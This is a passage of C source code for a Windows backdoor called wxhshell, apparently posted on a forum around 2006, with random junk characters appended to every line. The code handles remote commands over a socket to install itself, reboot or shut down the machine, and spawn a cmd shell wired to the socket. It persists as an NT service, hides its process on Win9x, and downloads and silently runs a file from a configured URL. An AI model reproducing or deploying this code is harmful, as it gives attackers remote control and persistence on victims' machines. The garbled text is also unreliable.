      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bkcwl  
    break; z*.AuEK?  
  } aKI"<%PNn  
  // 安装 ,.,8-In^  
  case 'i': { iJs~NLCgVu  
    if(Install()) {:X'9NEE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vX+oZj   
    else DX_ mrG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(c\U}&  
    break; _4S^'FDo  
    } R"nB4R0Uh  
  // 卸载 mqSVd^  
  case 'r': { A7p4M?09  
    if(Uninstall()) jv)+qmqo!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bvox7V>  
    else "HOZ2_(o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sn=6[RQ>P  
    break; 3smkY  
    } T4eJ:u*;  
  // 显示 wxhshell 所在路径 I68u%fCv  
  case 'p': { Y{Z&W9U  
    char svExeFile[MAX_PATH]; 8v$q+Wic  
    strcpy(svExeFile,"\n\r"); E0Wc8m"  
      strcat(svExeFile,ExeFile); T7[@ lMa?  
        send(wsh,svExeFile,strlen(svExeFile),0); O NabL.CV  
    break; hx$]fvDevD  
    } J)|3jbX"I]  
  // 重启 Y>x{ [er  
  case 'b': { @*;x1A-]V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wkg4I.  
    if(Boot(REBOOT)) |#Gxqq'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -gn0@hS0  
    else { !=9x=  
    closesocket(wsh); so-5%S  
    ExitThread(0); is.t,&H4P]  
    } =EJ&=t  
    break; ]7HR U6$  
    } s:T%, xS  
  // 关机 !3b& S4  
  case 'd': { :.:^\Q0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oW^b,{~V  
    if(Boot(SHUTDOWN)) -#\T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/dL-"*0  
    else { ^y5A\nz&  
    closesocket(wsh); [$y(>] ~.  
    ExitThread(0); dX[I :,z*  
    } j=sfE qN).  
    break; T KZtoQP%  
    } TOG:`FID  
  // 获取shell 7[ ovEE54  
  case 's': { +gl\l?>sr  
    CmdShell(wsh); FXCBX:LnvU  
    closesocket(wsh); Wt.DL mO  
    ExitThread(0); $|$@?H>K  
    break; J8'"vc}=  
  } .f~9IAXP`  
  // 退出 =*UK!y?n  
  case 'x': { ;dIk$_FN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g]~vZj  
    CloseIt(wsh); v({O*OR  
    break; @-@Coy 4Tt  
    } t3L>@NWG  
  // 离开 /~LE1^1&U  
  case 'q': { e!u]l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tP'v;$)9F  
    closesocket(wsh); yR$_ZXsd  
    WSACleanup(); G(E1c"?  
    exit(1); `YOYC  
    break;  5%-{r&  
        } {gD ED  
  } `d <`>  
  } <\229  
)%C.IZ_s2  
  // 提示信息 4$-R|@,|_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J 6 ~Sr  
} N&8$tJ(hhx  
  } ( 5LCy?-6  
P1F-Wy1  
  return; -}7$;QK&a  
} 7D'\z IW  
{"o9pIh{~  
// shell模块句柄 yfl?\X{  
int CmdShell(SOCKET sock) #Xg;E3BM  
{ ^ :VH?I=  
STARTUPINFO si; Zkp~qx  
ZeroMemory(&si,sizeof(si)); F^l1WX6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &h:4TaD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WwmYJl0  
PROCESS_INFORMATION ProcessInfo; zs=3e~o3  
char cmdline[]="cmd"; *Y>w0k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E%w^q9C  
  return 0; C'#KTp4!1  
} 0["93n}r  
9#DXA}  
// 自身启动模式 %A zy#m  
int StartFromService(void) Ts!'>_<Je  
{ (cj9xROx  
typedef struct 6Zi{gx  
{ juEPUsE  
  DWORD ExitStatus; Q<sqlh!h  
  DWORD PebBaseAddress; o2fih%p?1  
  DWORD AffinityMask; }aWy#Oe  
  DWORD BasePriority; Q[OwP  
  ULONG UniqueProcessId; .`D'eS6b  
  ULONG InheritedFromUniqueProcessId; ItVN,sVJb  
}   PROCESS_BASIC_INFORMATION; mSYjc)z  
M`Y^hDl6  
PROCNTQSIP NtQueryInformationProcess; Nj9A-*0g6N  
FC0fe_U(F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _c-3eQ1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V.Hv6  
N,Y)'s<  
  HANDLE             hProcess; ;L-=z]IR,  
  PROCESS_BASIC_INFORMATION pbi; Sz5t~U=G  
o\8?CNm1(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M5#wz0  
  if(NULL == hInst ) return 0; +Tum K.  
oN032o?S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TgkVd]4%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6]7csOE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k9k39`t  
7uR;S:WX  
  if (!NtQueryInformationProcess) return 0; Y j oe|  
<Km9Mq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4  OPY  
  if(!hProcess) return 0; *'((_ NZ>  
'#6e Ub  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ny-:%A  
t:10  
  CloseHandle(hProcess); u=:f%l  
:T-DxP/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bZ* = fdh  
if(hProcess==NULL) return 0; u99a"+  
_xKn2?d8g  
HMODULE hMod;  7)2K6<q  
char procName[255]; F`g(vD >  
unsigned long cbNeeded; H07\z1?.K  
#eW T-m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `n&:\Ib  
zQ,rw[C"W  
  CloseHandle(hProcess); R4p Pt  
]-gyXE1.r  
if(strstr(procName,"services")) return 1; // 以服务启动 z0[@O)Sj  
ggD T5hb  
  return 0; // 注册表启动 D:T]$<=9  
} i{^T;uAE  
wOAR NrPx2  
// 主模块 o/N!l]r  
int StartWxhshell(LPSTR lpCmdLine) h'*v$lt  
{ gPd K%"B@  
  SOCKET wsl; wI@87&  
BOOL val=TRUE; @R&d<^I&M  
  int port=0; 'AA9F$Dz  
  struct sockaddr_in door; atyvo0fNd  
4!dc/K  
  if(wscfg.ws_autoins) Install(); XPdmz!,b  
kqBZsfF  
port=atoi(lpCmdLine); U3_${  
-8l<5g7  
if(port<=0) port=wscfg.ws_port; Qx)b4~F?  
*(9Tl]w  
  WSADATA data; GLsa]}m,9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3E*|^*  
(=j;rfvP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (d_z\U7l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); / l$enexSt  
  door.sin_family = AF_INET; rUI?{CV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /3,/j)`a  
  door.sin_port = htons(port); ovKM;cRs/  
ABCm2$<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yg&(kmm  
closesocket(wsl); ?X@!jB,Pv  
return 1; G80N8Lm  
} GRcPzneiz  
>pF*unC;  
  if(listen(wsl,2) == INVALID_SOCKET) { zj7ta[<tr  
closesocket(wsl); ~nA k-toJ  
return 1; O},}-%G  
} ed6@o4D/kf  
  Wxhshell(wsl); re*}a)iL  
  WSACleanup(); =Dn <DV  
!Se0&Ob  
return 0; %#2$B+  
03~ ADj  
} \V-N~_-H  
SA TX_  
// 以NT服务方式启动 ~P|;Y<?3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?~o`mg  
{ 5m1J&TZ0  
DWORD   status = 0; OHndZ$'fI  
  DWORD   specificError = 0xfffffff; 4\n ~  
>ai,6!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *L^W[o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L$5,RUy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6q^$}eOt  
  serviceStatus.dwWin32ExitCode     = 0; A|ZT ;\  
  serviceStatus.dwServiceSpecificExitCode = 0; DP{nvsF  
  serviceStatus.dwCheckPoint       = 0; ` @QZK0Ox  
  serviceStatus.dwWaitHint       = 0; e?W ,D0h  
M`Q$-#E:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9tHK_),9  
  if (hServiceStatusHandle==0) return; ^`cv6;)  
EJn]C=_(  
status = GetLastError(); >eTbg"\  
  if (status!=NO_ERROR) P<vl+&*  
{ 3X gJZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2F2Hl   
    serviceStatus.dwCheckPoint       = 0; DZqPCMz)^  
    serviceStatus.dwWaitHint       = 0; k!Yc_ZB:*l  
    serviceStatus.dwWin32ExitCode     = status; cC-8.2  
    serviceStatus.dwServiceSpecificExitCode = specificError; AlQhKL}|s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mG1~rI  
    return; C~2!@<y  
  } l|.}>SfL^u  
UyRy>:n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lsax.uG5x  
  serviceStatus.dwCheckPoint       = 0; CzBYH   
  serviceStatus.dwWaitHint       = 0;  ;+~5XLk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .`IhxE~mN  
} Em!- W5*s  
E&8Nh J  
// 处理NT服务事件,比如:启动、停止 i)x0 ]XF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ov+{<0Q  
{ Wep^He\:  
switch(fdwControl) |u>V> PN  
{ v.]{b8RR  
case SERVICE_CONTROL_STOP: $5XA S  
  serviceStatus.dwWin32ExitCode = 0; Cfi4~&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BdD]HXB|_  
  serviceStatus.dwCheckPoint   = 0; %r|sb=(yT  
  serviceStatus.dwWaitHint     = 0; YYT;a$GTo  
  { M86"J:\u]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p)SW(pS  
  } mOJdx-q?r  
  return; BeUyt  
case SERVICE_CONTROL_PAUSE: ] hT\"5&6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5M>h[Q"R  
  break; j- 9)Sijj{  
case SERVICE_CONTROL_CONTINUE: cM%?Ot,mK"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k7U.]#5V  
  break; *tv&=  
case SERVICE_CONTROL_INTERROGATE: {8.Zb NEJ  
  break; >J;TtNE:  
}; z@ `o(gh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^os_j39N9  
} {dF@Vg_n  
L-Q8iFW'  
// 标准应用程序主函数 Sqa9+' [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5qM$ahN3wH  
{ lc <V_8  
:of([e|u6  
// 获取操作系统版本 @1o X&#  
OsIsNt=GetOsVer(); [l-o*@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N[cIr{XBGN  
+mrLMbBiD  
  // 从命令行安装 J|I*n   
  if(strpbrk(lpCmdLine,"iI")) Install(); Ovx *  
li[[AAWVm  
  // 下载执行文件 h3 H Udu  
if(wscfg.ws_downexe) { ZQlk 5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {z>!Fw  
  WinExec(wscfg.ws_filenam,SW_HIDE); $6n J+  
} wNUT0+  
_WNbuk0  
if(!OsIsNt) { bpc1> ?  
// 如果时win9x,隐藏进程并且设置为注册表启动 @K <Onh`  
HideProc(); /Q st :q  
StartWxhshell(lpCmdLine); xuUEJ a&  
} pEwo}NS*H  
else 1KUjb@"  
  if(StartFromService()) |pHlBzHj  
  // 以服务方式启动 P7w RX F{  
  StartServiceCtrlDispatcher(DispatchTable); ku,{NY f^Y  
else O[ z0+Q?6Z  
  // 普通方式启动 /%cDX:7X  
  StartWxhshell(lpCmdLine); ! \s}A7  
a &tWMxBr  
return 0; B=]j=\o  
}
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只看该作者 1 发表于: 2006-10-10
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